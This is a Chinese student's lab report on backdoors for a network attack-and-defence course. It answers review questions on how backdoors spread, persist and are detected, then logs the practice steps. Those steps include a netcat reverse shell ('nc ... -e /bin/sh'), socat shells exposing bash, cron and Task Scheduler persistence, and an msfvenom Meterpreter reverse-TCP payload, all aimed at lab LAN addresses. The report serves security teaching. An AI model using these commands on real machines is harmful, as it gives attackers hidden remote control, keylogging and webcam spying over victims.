20145203盖泽双《网络对抗技术》后门原理与实践

1.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式？

①连接带有后门病毒的网页。

②下载带有后门病毒的文件。

③主动连接不知名的私人网络。

④使用带有后门病毒的U盘或者硬盘。

(2)例举你知道的后门如何启动起来(win及linux)的方式？

①cron启动方式。

②任务启动计划。

③windows或者linux反弹连接向它们注入后门的系统。

(3)Meterpreter有哪些给你映像深刻的功能？

①可以抓取被控主机的击键记录，以便获取被控主机的重要的用户名密码。

②可以控制被控主机的摄像头，窥探隐私很方便，可怕！

③可以获取被控主机的屏幕，随时了解被控用户的动态。

(4)如何发现自己有系统有没有被安装后门？

①如果被杀毒软件检测出有病毒程序，有可能就是后门。

②电脑cpu占用较高，经常死机，有可能被注入了后门程序。

③数据经常莫名丢失，文件打不开或者提示已损坏，很有可能被人植入了后门程序。

2.实验总结与体会

经过这次实验，我感触最深的就是了解到了杀毒软件的重要性。在我的旧电脑上，我一个杀毒软件也没有装，我觉得360经常会造成卡机，电脑管家不好用，其他的还要掏钱买，就觉得没有必要把钱花在这个上面，电脑自身的防火墙应该就足够了，以至于我的旧电脑寿命并不是很长。在这次实验中，我使用的是自己的新电脑，上面有迈克菲杀毒软件，我发现无论我怎么将后门程序放到可信任区，或者取消它的母文件的扫描。这个后门病毒都可以被检测出来，只有把迈克菲的防火墙和实时扫描关掉，后门程序才可以被运行。我的电脑的到了很好的保护，而且被后门软件控制的结果太可怕了，所以我决定迈克菲过期之后续费！
这个实验告诫了我们，在现在的电子信息高速发展的时代，自己的私人信息很容易被窃取，篡改。我们一定要有安全防范意识，尽可能的保护自己不受网络暴力的侵害。

3.实践过程记录

1、使用netcat获取主机操作Shell，cron启动。

   netcat：网络工具中的瑞士军刀，可在两台电脑之间建立链接并返回两个数据流 通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向来实现我们今天的后门。

（1）windows获取linux shell。
①windows打开监听，以便于在linux反弹连接时可获取其shell。
ncat.exe -l -p 5203

②linux根据windows的ip地址进行反弹连接。
ipconfig
nc 192.168.43.151 5203 -e /bin/sh

③windows获取其shell并对其文件进行修改。

（2）windows对linux设置cron启动

    cron启动作用：windows对linux设置cron启动之后，windows将会在每个固定的时间点获取linux的shell。

①在linux中，使用crontab指令增加一条定时任务。

②在windows终端进行端口监听，等到时间到了之后，进行ls操作。

（3）linux获取windows shell
①linux下查看ip地址。
ifconfig

②linux进行端口监听。

③windows根据linux的ip地址进行反弹连接。

④linux获取windows shell，并对其进行操作

2、使用socat获取主机操作Shell, 任务计划启动。

   socat是netcat(nc)的替代产品，是一个多功能的网络工具，名字来由是Socket CAT，可以看作是netcat的N倍加强版。socat的特点就是在两个流之间建立一個双向的通道。socat的地址类型很多，有ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl等。

①在linux中，使用 socat命令进行端口监听。
socat tcp-listen:5203 exec:bash,pty,stderr

②在windows下，对linux进行反弹连接。并打开其20145203文件夹进行ls操作。
socat readline tcp:192.168.19.129:5203

③打开windows控制面板中的管理工具，选择任务计划程序，新建任务。

④在新建任务窗口填写任务名字为20145203，并设置触发器以及操作。设置好后，运行该任务。

⑤因为换了无线网，所以电脑的ip地址有所改变，所以重新ipconfig一下。

⑥在linux下，根据windows的ip地址对其5203端口进行连接。成功获得其windows shell。
socat - tcp:192.168.2.151:5203

3、使用MSF meterpreter生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell。

  MSF是Metasploit的简称，Metasploit是一款开源的安全漏洞检测工具，非常强大。

①在linux下，生成反弹式端口型的后门程序。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.129 LPORT=5203 -f exe >5203.exe
注意因为是反弹式端口型，所以这里生成后门程序中的ip地址，是虚拟机的ip地址。